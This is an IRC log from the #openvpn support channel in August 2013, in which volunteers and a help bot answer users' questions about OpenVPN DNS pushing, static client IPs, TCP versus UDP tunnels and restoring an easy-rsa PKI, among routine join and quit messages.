17:51 <+pekster> "it" = the client asking for the DNS RR
17:53 < aegis> Go figure, it just started working.
17:54 < aegis> I can ping the vpn client from the server side using the netbios name now...  I wonder if it just took a while to recognize?  Strange...
17:56 <+pekster> If you're bridged, that's an OS/application issue not relevant to openvpn specifically
17:56 < aegis> And now it doesn't...  it could find it for a little bit and now it can't.
17:57 < aegis> pekster, I am bridged...  Okay, thanks for helping!  I'll try to figure out if it's a Windows thing...
17:57 <+pekster> f.eg, "which" interfaces a multi-homed client uses to send NBNS broadcasts is not something openvpn can help you with. It's possible pushing a domain (which openvpn does have a helper-option for) can help if your client OS uses that to make its routing decision
17:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:57 <+pekster> You can see --push and --dhcp-option, frequently used server-side as something like: `--push "dhcp-option myhomedomain.local"` or such
18:00 < aegis> I'll try putting this into the server.conf: push "dhcp-option DOMAIN home.lan"
18:01 <+pekster> Sure. I've really no clue what NBNS does with that since I avoid it like the plague (I use DNS at home, and corp environments worth their salt tend to have dynamic DNS set up to work as expected too)
18:01 <+pekster> But it's the closest thing to an openvpn-related suggestion I have
18:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:21 < aegis> thank you
18:34 -!- aegis [~aegis@109.201.152.26] has quit [Ping timeout: 240 seconds]
18:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:48 -!- master_o1_master [~master_of@p4FF24992.dip0.t-ipconnect.de] has joined #openvpn
18:50 -!- aegis [~aegis@pool-71-187-192-49.nwrknj.fios.verizon.net] has joined #openvpn
18:52 -!- master_of_master [~master_of@p4FF24999.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
18:55 -!- aegis [~aegis@pool-71-187-192-49.nwrknj.fios.verizon.net] has quit [Ping timeout: 245 seconds]
19:00 -!- aegis [~aegis@109.201.152.226] has joined #openvpn
19:02 -!- __raven [~raven@dslb-178-010-119-093.pools.arcor-ip.net] has joined #openvpn
19:05 -!- raven_ [~raven@dslb-178-002-131-160.pools.arcor-ip.net] has quit [Ping timeout: 240 seconds]
19:16 <@krzee> http://www.speedtest.net/my-result/2881171646
19:16 <@vpnHelper> Title: Ookla Speedtest - My Results (at www.speedtest.net)
19:22 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ykikfjesxutometk] has quit [Ping timeout: 268 seconds]
19:24 -!- HyperGlide [~HyperGlid@110.184.83.121] has quit [Remote host closed the connection]
19:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
19:59 -!- raven_ [~raven@dslb-188-098-214-082.pools.arcor-ip.net] has joined #openvpn
20:03 -!- __raven [~raven@dslb-178-010-119-093.pools.arcor-ip.net] has quit [Ping timeout: 260 seconds]
20:08 -!- speed_racer84 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has joined #openvpn
20:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:33 -!- speed_racer84 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has quit [Read error: Connection reset by peer]
20:33 -!- speed_racer84 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has joined #openvpn
20:34 -!- speed_racer81 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has joined #openvpn
20:37 -!- speed_racer84 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has quit [Ping timeout: 245 seconds]
20:51 -!- aegis [~aegis@109.201.152.226] has quit [Ping timeout: 264 seconds]
20:56 -!- speed_racer81 [~speed_rac@h231.70.23.98.dynamic.ip.windstream.net] has quit [Ping timeout: 260 seconds]
21:04 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
21:14 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
21:14 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
21:17 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has joined #openvpn
21:21 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:24 -!- aegis [~aegis@tsn109-201-135-220.dyn.nltelcom.net] has joined #openvpn
23:05 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Mon Aug 05 2013
00:14 -!- higuita [~higuita@2001:b18:400f:0:d9ee:db29:283e:928f] has quit [Ping timeout: 260 seconds]
00:18 -!- higuita [~higuita@2001:b18:400f:0:ad62:80c:f012:b058] has joined #openvpn
00:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:34 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zsgiqhkdcrjyhcep] has joined #openvpn
00:38 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
00:40 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
00:44 -!- Guest7131 [~Freeaqing@91.214.168.110] has quit [Quit: ZNC - http://znc.in]
00:59 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:59 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:59 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:49 -!- higuita [~higuita@2001:b18:400f:0:ad62:80c:f012:b058] has quit [Ping timeout: 260 seconds]
01:52 -!- higuita [~higuita@2001:b18:400f:0:ad62:80c:f012:b058] has joined #openvpn
01:56 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 276 seconds]
02:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
02:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:15 -!- peper [~peper@gentoo/developer/peper] has quit [Read error: Operation timed out]
02:17 -!- s7r1 [~s7r@109.99.157.72] has joined #openvpn
02:18 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
02:18 -!- s7r1 [~s7r@109.99.157.72] has left #openvpn []
02:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
02:19 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
02:23 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:23 -!- Freeaq [~dolf@83.232.96.217] has quit [Read error: Connection reset by peer]
03:01 -!- b7 [~b7@188.162.36.79] has joined #openvpn
03:07 < b7> Hello everyone. I have an OpenVPN server installed and working in "server" mode. Every client gets a random IP from the pool at connect. But now I need to reserve and assign an IP-address from the pool for one of the clients. How can I do that?
03:08 < Aketzu> --client-config-dir with files per client which contain ifconfig-push -line
03:20 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
03:21 -!- dfresha [~krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
03:21 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 240 seconds]
03:21 -!- krapper [krapper@23.21.191.223] has joined #openvpn
03:21 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
03:27 -!- b7 [~b7@188.162.36.79] has quit [Remote host closed the connection]
03:29 -!- b7 [~b7@188.162.36.79] has joined #openvpn
03:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
03:36 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
03:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:46 -!- copper [~copper@unaffiliated/copper] has quit [Quit: leaving]
03:57 -!- Denial [Denial@90.202.5.141] has joined #openvpn
04:18 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:18 -!- dfresha [krapper@territory.krapper.net] has joined #openvpn
04:18 -!- monk [~aknm@196.14.139.96] has joined #openvpn
04:18 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
04:18 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:19 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
04:19 -!- krapper [krapper@23.21.191.223] has quit [Ping timeout: 240 seconds]
04:19 -!- monk [~aknm@unaffiliated/aknm] has quit [Disconnected by services]
04:19 -!- aknm is now known as monk
04:19 -!- aknm [~aknm@196.14.139.96] has joined #openvpn
04:19 -!- aknm [~aknm@196.14.139.96] has quit [Changing host]
04:19 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
04:20 -!- aknm [~aknm@unaffiliated/aknm] has quit [Read error: Connection reset by peer]
04:45 < jzaw> !ping
04:45 <@vpnHelper> pong
04:45 < jzaw> ta vpnHelper
05:21 -!- ade_b [~Ade@89.204.137.33] has joined #openvpn
05:21 -!- ade_b [~Ade@89.204.137.33] has quit [Changing host]
05:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:35 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
05:39 -!- Champi [Champi@rootshell.fr] has joined #openvpn
05:40 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
05:41 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
05:45 -!- dfresha [krapper@territory.krapper.net] has quit [Ping timeout: 240 seconds]
05:45 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:45 -!- dfresha [krapper@territory.krapper.net] has joined #openvpn
05:46 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
05:49 -!- sobersabre [~sobersabr@109.65.188.239] has joined #openvpn
05:49 < sobersabre> hi, I'm trying to implement this idea on openvpnas machine: http://openvpn.net/index.php/open-source/documentation/miscellaneous/79-management-interface.html
05:49 <@vpnHelper> Title: Management Interface (at openvpn.net)
05:50 < sobersabre> I don't understand how that page translates into openvpn configurations.
05:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
05:51 < sobersabre> oh, sorry, wrong chan
05:51 -!- tripolar [~u@unaffiliated/tripolar] has left #openvpn []
06:14 -!- pouete [~pouete@unaffiliated/pouete] has joined #openvpn
06:15 < pouete> Hello peoples, i have here a slight problem with openvpn AND DNS . the VPN is working and stuff, a dig google.com @mydns is also resolving the name, but the openvpn client do not settup the DNS  server as mydns . How could i solve this ?  i also put the push "dhcp-option DNS mydns"; in the config file
06:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:36 -!- pagios [~pagios@46.19.194.116] has joined #openvpn
06:36 < pagios> hello, is it better to transport burst data over udp tunnel or tcp tunnel? the data is over tcp
06:37 < pagios> so i want that data to be encapsulated over udp or tcp? what is better?
06:40 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
06:42 < Dar1us> pagios: UDP
06:42 < rob0> !tcp
06:42 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
06:42 < rob0> !as
06:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
06:42 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:42 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:42 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:42 < rob0> sobersabre, ^^ openvpnas is not supported here, and the open-source pages are not applicable thereto.
07:08 -!- raven_ [~raven@dslb-188-098-214-082.pools.arcor-ip.net] has quit [Quit: Verlassend]
07:10 -!- pagios [~pagios@46.19.194.116] has quit [Ping timeout: 245 seconds]
07:21 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Remote host closed the connection]
07:22 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
07:27 -!- pagios [~pagios@141.138.184.169] has joined #openvpn
07:27 < pagios> got dc anyone erplied?
07:29 < rob0> !tcp
07:29 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
07:29 -!- Sjors_ [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
07:29 -!- [fred] [~fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
07:31 -!- jl- [~ben@157.160.122.161] has joined #openvpn
07:31 < jl-> morning, is there any tutorial on how to set up VPN so I can tunnel all my traffic from here? I'm wondering about the dns lookup etc.
07:32 < jl-> in the browser
07:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-lwbndqkaurijpvdh] has quit [Ping timeout: 264 seconds]
07:34 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has joined #openvpn
07:35 -!- [fred] [fred@konfuzi.us] has joined #openvpn
07:37 < pouete> No ?
07:38 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
07:46 < rob0> pouete, http://rob0.nodns4.us/dnsmasq.html is how I do it.
07:46 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
07:46 < rob0> !redirect
07:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
07:46 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
07:46 < rob0> jl-, ^^
07:47 < jl-> thanks
07:48 < jl-> i'll be using my dd-wrt router as the vpn server
07:48 -!- pagios [~pagios@141.138.184.169] has quit [Ping timeout: 260 seconds]
07:50 < jl-> rob0: what's recommended #1 2 or 3?
07:50 < jl-> looking for the simpelst solution to make the traffic completely anonymous
07:56 < pouete> rob0: so, you cannot actually uses an internal DNS server ? i mean, i can dig them when i am connected to the OPENVPN server, i just needs to push the DNS IP address to the client and done . Wireshark tells me that the old DNS ip are used. Is it possible to override the DNS client config ?
08:03 -!- pagios [~pagios@46.19.194.116] has joined #openvpn
08:18 < pouete> !pushdns
08:18 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
08:18 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
08:18 < jl-> rob0: is there a cookie cutter tutorial anywhere on how to setup open vpn
08:18 < jl-> I'm using debian or possibly dd-wrt
08:21 -!- rtbt [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
08:25 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
08:27 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
08:39 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
08:55 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zsgiqhkdcrjyhcep] has quit [Ping timeout: 248 seconds]
08:55 -!- Vustom [uid7276@gateway/web/irccloud.com/x-cpueidtagjezgcmh] has joined #openvpn
08:57 < Vustom> Could someone help me? I installed OpenVPN Access Server on a Ubuntu VPS, seperated the cert files and have them on the client PC, also updated the Admin panel to include the servers IP in Server Network Settings but upon trying to connect to the server I get asked for the username/password, I put it in but it keeps saying it's incorrect?
08:57 < Vustom> It's not either, as I can login to the admin with the same username/password.
08:59 < rob0> !as
08:59 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:00 < rob0> jl-, "cookie cutter," no, you have to learn what you are doing, but see:
09:00 < rob0> !howto
09:00 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:06 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 264 seconds]
09:16 < jl-> rob0: I thank you
09:16 < jl-> setting up a vpn server requires time and learning I suppose
09:25 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:28 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
09:45 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:49 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:54 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:58 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
10:21 -!- b7 [~b7@188.162.36.79] has quit [Quit: Leaving]
10:26 -!- clever [~clever@nwcsnbsc00w-142167021018.dhcp-dynamic.FibreOp.nb.bellaliant.net] has joined #openvpn
10:30 -!- ihre [~ihre@unaffiliated/ihre] has quit [Quit: leaving]
10:49 -!- Devastatr [~devas@177.99.153.50] has joined #openvpn
10:49 -!- Devastatr [~devas@177.99.153.50] has quit [Changing host]
10:49 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
10:50 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 268 seconds]
10:51 -!- Devastatr is now known as Devastator
11:35 -!- jl- [~ben@157.160.122.161] has quit [Ping timeout: 240 seconds]
11:48 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
11:50 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
12:04 -!- clever [~clever@nwcsnbsc00w-142167021018.dhcp-dynamic.FibreOp.nb.bellaliant.net] has quit [Ping timeout: 240 seconds]
12:11 -!- jl-_ [~ben@157.160.122.161] has joined #openvpn
12:16 -!- jl-_ [~ben@157.160.122.161] has quit [Remote host closed the connection]
12:21 -!- jl-_ [~ben@157.160.122.161] has joined #openvpn
12:22 -!- clever [~clever@nwcsnbsc00w-142167021018.dhcp-dynamic.FibreOp.nb.bellaliant.net] has joined #openvpn
12:28 -!- clever [~clever@nwcsnbsc00w-142167021018.dhcp-dynamic.FibreOp.nb.bellaliant.net] has quit [Ping timeout: 245 seconds]
12:46 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
12:50 -!- pwrcycle_ is now known as pwrcycle
12:50 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
12:50 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
13:01 -!- jap [~spaans@secure.jasper.es] has left #openvpn ["so long"]
13:12 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has quit [Read error: Connection reset by peer]
13:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:17 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
13:18 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
13:20 -!- [fred] [fred@konfuzi.us] has joined #openvpn
13:28 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
13:35 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
13:37 -!- [fred] [fred@konfuzi.us] has joined #openvpn
13:48 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
14:34 -!- mattock is now known as mattock_afk
14:40 -!- jl-_ [~ben@157.160.122.161] has left #openvpn []
14:44 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:44 -!- mode/#openvpn [+v s7r] by ChanServ
14:56 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:58 -!- theCzar [~theCzar@24-116-177-210.cpe.cableone.net] has joined #openvpn
14:59 < theCzar> !welcome
14:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:59 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:01 < theCzar> Hello, I recently had to re-provision my OpenVPN server.  However I wanted to back up the PKI (easy-rsa) and so I tar-balled the etc/easy-rsa directory.  However after re-provisioning and un-taring the directory into place, it seems that it didn't work.  Is there something else I should have done?
15:05 <+pekster> "it" didn't work? What were you expecting?
15:05 <+pekster> If you backed up the PKI, then the CA and all the issued certs should still be there
15:06 <+pekster> The private keys won't necessarily be, unless you generated the private keys in that PKI directory as well (the recommended procedure is to generate keys on the target systems and transfer the signing request to your CA PKI for signing, but many people generate everything out of a single PKI)
15:06 <+pekster> So it depends on what procedure you used (build-key, or build-key-full)
15:09 < theCzar> pekster: we used build-key for each user, and build-dh, build-ca & build-key-server
15:10 < theCzar> so each user has their key, cert and the ca already
15:10 < theCzar> but apparently dropping that directory back in place didn't do the trick as I am getting a TLS error when trying to connect to the VPN
15:11 <+pekster> The PKI is completely independent of the ca/cert/key you use for openvpn -- they're related of course, but perhaps openvpn is reading from a different file?
15:12 <+pekster> If you used the same CA to sign both the clients & certs (the traditional way) then every node needs to use the same ca, and all certs must be signed by this CA's PKI
15:12 <+pekster> clients & servers*
15:12 < theCzar> yes of course
15:13 < theCzar> and that's what we did.  But it seems there still exists some discrepancy causing them not to recognize each other any more.
15:13 <+pekster> Logs should say exactly why
15:13 <+pekster> !logs
15:13 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:14 <+pekster> verb 4 is fine here
15:14 < theCzar> OK
15:17 < theCzar> OK, well I feel dumb
15:17 < theCzar> i restarted the server to change the verbosity of the logs
15:18 < theCzar> then tried to connect again to reproduce the logs
15:18 < theCzar> and it connected
15:18 < theCzar> sorry ID10T error
15:18 <+pekster> If you change the keys, openvpn will need a restart to pick up on that locally
15:19 < theCzar> pekster: yes of course, that should have been obvious
15:19 < theCzar> pekster: thanks for your help
15:19 <+pekster> np, glad it's working
15:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:58 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
16:03 <+pekster> !learn policy as dynamic OpenVPN policy github project: https://github.com/QueuingKoala/openvpn-dynamic
16:03 <@vpnHelper> Joo got it.
16:06 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 276 seconds]
16:11 -!- novaflash is now known as novaflash_sick
16:21 -!- Denial [Denial@90.202.5.141] has quit []
16:25 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:46 -!- pagios [~pagios@46.19.194.116] has left #openvpn ["Leaving"]
16:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
16:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:56 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
16:56 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Quit: Leaving]
17:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
17:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:15 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
17:17 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
17:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 276 seconds]
17:57 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
17:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:03 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
18:03 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
18:03 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
18:04 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 245 seconds]
18:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
18:05 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
18:08 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
18:13 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
18:17 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
18:41 < crus> Hi guys, I've got an openVPN site-to-site tunnel running between AWS LA and AWS Sydney.. transfer speeds over the VPN barely get above 400k/sec.. whilst over the public internet i'm see'ing 4.5MB/sec
18:48 -!- master_of_master [~master_of@p4FF24836.dip0.t-ipconnect.de] has joined #openvpn
18:48 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 240 seconds]
18:49 -!- master_o1_master [~master_of@p4FF24992.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:50 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
18:51 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
18:51 -!- fester [~fester@rhlug/fester] has quit [Ping timeout: 240 seconds]
18:56 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
18:59 -!- theCzar [~theCzar@24-116-177-210.cpe.cableone.net] has quit [Remote host closed the connection]
19:14 -!- klein [~klein@187.85.182.246] has joined #openvpn
19:14 -!- klein [~klein@187.85.182.246] has quit [Changing host]
19:14 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:24 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
19:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:51 -!- raidz is now known as raidz_away
20:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
20:29 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 256 seconds]
20:31 -!- cali [~cali@91.220.163.18] has joined #openvpn
20:31 -!- cali [~cali@91.220.163.18] has quit [Changing host]
20:31 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:50 -!- fester [~fester@205.185.122.76] has joined #openvpn
21:06 -!- speed_racer84 [~speed_rac@h233.16.185.173.dynamic.ip.windstream.net] has joined #openvpn
21:08 -!- speed_racer81 [~speed_rac@h233.16.185.173.dynamic.ip.windstream.net] has joined #openvpn
21:11 -!- speed_racer84 [~speed_rac@h233.16.185.173.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
21:11 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 256 seconds]
21:37 -!- dfresha [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
21:37 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
21:43 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bkwmigecmjxzllwm] has joined #openvpn
21:46 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
21:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
21:47 -!- krapper [krapper@territory.krapper.net] has quit [Ping timeout: 240 seconds]
21:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
21:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
21:47 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
21:49 -!- speed_racer81 [~speed_rac@h233.16.185.173.dynamic.ip.windstream.net] has quit [Ping timeout: 248 seconds]
21:49 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
21:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
